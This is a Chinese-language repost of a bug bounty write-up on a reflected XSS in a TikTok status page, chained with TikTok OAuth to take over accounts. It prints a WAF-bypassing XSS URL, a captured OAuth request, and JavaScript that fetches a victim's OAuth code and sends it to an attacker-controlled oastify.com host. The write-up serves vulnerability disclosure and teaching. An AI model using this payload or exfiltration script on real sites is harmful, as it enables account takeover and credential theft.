漏洞挖掘之XSS接管任意用户账户

admin 2024年1月26日22:48:09评论13 views字数 5788阅读19分17秒阅读模式

在这篇文章中,const & I (mrhavit) 将分享我们发现跨站点脚本 (XSS) 漏洞的经验,该漏洞可能导致我们在参与他们的漏洞赏金计划期间在多个 TikTok 应用程序中可能被接管。

这一切是如何开始的

这一切都始于我们像往常一样浏览 TikTok 的主要应用程序,并打开了 VPN。我们的VPN有一个选项,可以随机选择连接的位置。当我们浏览 TikTok 应用程序时,连接已设置为中国。当我试图访问 https://tiktok.com/ 时,我被迅速重定向到另一个网页,该网页显示“此页面在您所在的地区不可用”。

漏洞挖掘之XSS接管任意用户账户

https://www.tiktok.com/status?status=7&link=https://go.onelink.me/bIdt/

新的重定向 URL 包含一些参数。第一个参数是“status”,它负责页面内容。第二个参数是“链接”,我们仍然不知道它如何影响页面。

当我们将“status”参数的值更改为“1”时,页面的内容发生了变化,并出现了一个新按钮。单击该按钮会将您重定向到“link”参数的值。这就是“link”参数发挥作用的地方。

漏洞挖掘之XSS接管任意用户账户

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/BAuo/

继续前进!

我们开始通过插入一些常见的 XSS 有效负载(例如“javascript:alert()”和“javascript://”来测试“link”参数值,但没有任何变化。重定向链接仍设置为“https://go.onelink.me/BAuo/”。

过了一会儿,我意识到我们实际上可以控制路径。这意味着我们将“link”参数值设置为“https://go.onelink.me/mrhavit/”,它实际上嵌入在 HTML 中。

漏洞挖掘之XSS接管任意用户账户

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/

下一步是检查我们是否卡在“href”属性中,或者是否有可能突破并设置一些事件。正如您可能已经猜到的那样,转义设置不正确,我们能够成功地将一个新事件插入到“href”属性中。

漏洞挖掘之XSS接管任意用户账户

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/%22%20test

在这一刻,我们意识到我们在 XSS 方面有很好的领先优势,并开始深入挖掘。

漏洞挖掘之XSS接管任意用户账户

由于我们在“href”属性中,并且有可能注入我们想要的任何事件,因此“onclick”听起来是最合适的。当我们尝试这样做时,我们很快就遇到了每个安全专家可能都知道并且以前遇到过的非常烦人的事情——WAF!

漏洞挖掘之XSS接管任意用户账户

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/%22%20onclick=alert(1)

由于这是一个非常特殊的情况,并且是一个独特的注入切入点,因此我们没有找到可以在线找到并绕过 WAF 的 XSS 有效载荷的快速胜利。因此,我们开始学习如何处理这个 WAF,并试图通过制作一个独特的有效负载来绕过它。绕过 WAF 并非易事。像“>”和“<”这样的特殊字符被正确转义/编码,因此通过使用一些编码技巧成功地插入了“onclick”事件。在花了一些时间工作并利用我们的 JavaScript 技能之后,我们终于找到了一个很酷的绕过方法,使我们能够成功执行 JavaScript!

漏洞挖掘之XSS接管任意用户账户

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27pr%27%2b%27o%27%2b%27m%27+%2b%27pt%27](%271%27)(%271%27)%0D%0Aompt,%0D%0Ax'Tiktok'

漏洞挖掘之XSS接管任意用户账户

漏洞描述!

帐户接管始终是展示 XSS 漏洞影响的一个很好的示例。虽然由于 HTTPOnly 标志,如今窃取 cookie 的情况很少见,但对目标有足够的了解可能会导致以创造性的方式接管帐户。我们通过使用“TikTok OAuth”实现了这一点。大多数 TikTok 服务都提供“使用 TikTok 登录”作为其登录过程的一个选项。在本文中,我们将重点介绍“ads.tiktok.com”,但此漏洞也会影响其他服务,例如卖家、商店等。

漏洞挖掘之XSS接管任意用户账户

https://ads.tiktok.com/i18n/login/?_source_=ads_homepage&lang=en&region=0

点击“使用 TikTok 登录”后,显示以下页面:

漏洞挖掘之XSS接管任意用户账户

    此页面托管在“www.tiktok.com”上,该主机与XSS漏洞所在的主机相同。单击“授权”按钮后,将生成以下请求:

POST /passport/open/web/auth/?client_key=aw8cb3204x0a1g88&scope=user.info.basic%2Cuser.info.phone%2Cuser.account.configure%2Ccomment.list.manage%2Cuser.info.showcase%2Clive.list%2Ccomment.list%2Cvideo.list.private_ads.no_watermark%2Cvideo.list.manage%2Cuser.info.email%2Cvideo.list.no_watermark&aid=1459&source=web&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb HTTP/2
Host: www.tiktok.com
Cookie: .............
Content-Length: 2
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Origin: https://www.tiktok.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&response_type=code&scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&version=1&lang=en&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{}

响应包含一些非常有趣的内容 - OAuth 身份验证的“代码”。

漏洞挖掘之XSS接管任意用户账户

如果我们将其与我们的 XSS 漏洞结合起来,则只需单击一下即可泄露受害者的 OAuth“代码”。虽然 TikTok 在修复之前没有看到此漏洞被利用的证据,但获得这些代码的攻击者可能会使用它们来接管受害者的帐户。

漏洞利用!

我们创建了一个 JS 有效负载,该有效负载绕过了 WAF,并从攻击者的服务器加载了新脚本。在我们的示例中,脚本是从“http://127.0.0.1:5500/asd.js”加载的。“asd.js”文件包含向“OAuth”终结点发送 XHR POST 请求并将响应发送到攻击者控制的服务器的 JavaScript 代码。

var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open("POST", "https://www.tiktok.com/passport/open/web/auth/?client_key=aw8cb3204x0a1g88&scope=user.info.basic%2Cuser.info.phone%2Cvideo.list.manage%2Ccomment.list%2Clive.list%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cuser.info.showcase%2Cuser.info.email%2Cvideo.list.no_watermark%2Ccomment.list.manage&aid=1459&source=web&redirect_uri=https%3a%2f%2fads.tiktok.com%2fblablablabla&state=64588d019065e001fa8e7abdd884581c10770400");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send();

function reqListener() {
location='//rqlu5n70d1zgnxxbz3xzlq09b0hr5ntc.oastify.com/log?key='+this.responseText;
};

响应包含我们受害者用户的 OAuth“代码”,攻击者可能使用该代码来访问受害者的帐户。下面的GIF中,我们演示了受害者如何点击 XSS,并将 OAuth“代码”发送回攻击者控制的服务器。

漏洞挖掘之XSS接管任意用户账户

本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

———————————————————————————

原文始发于微信公众号(云息信安):漏洞挖掘之XSS接管任意用户账户

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月26日22:48:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞挖掘之XSS接管任意用户账户http://cn-sec.com/archives/2435609.html

发表评论

匿名网友 填写信息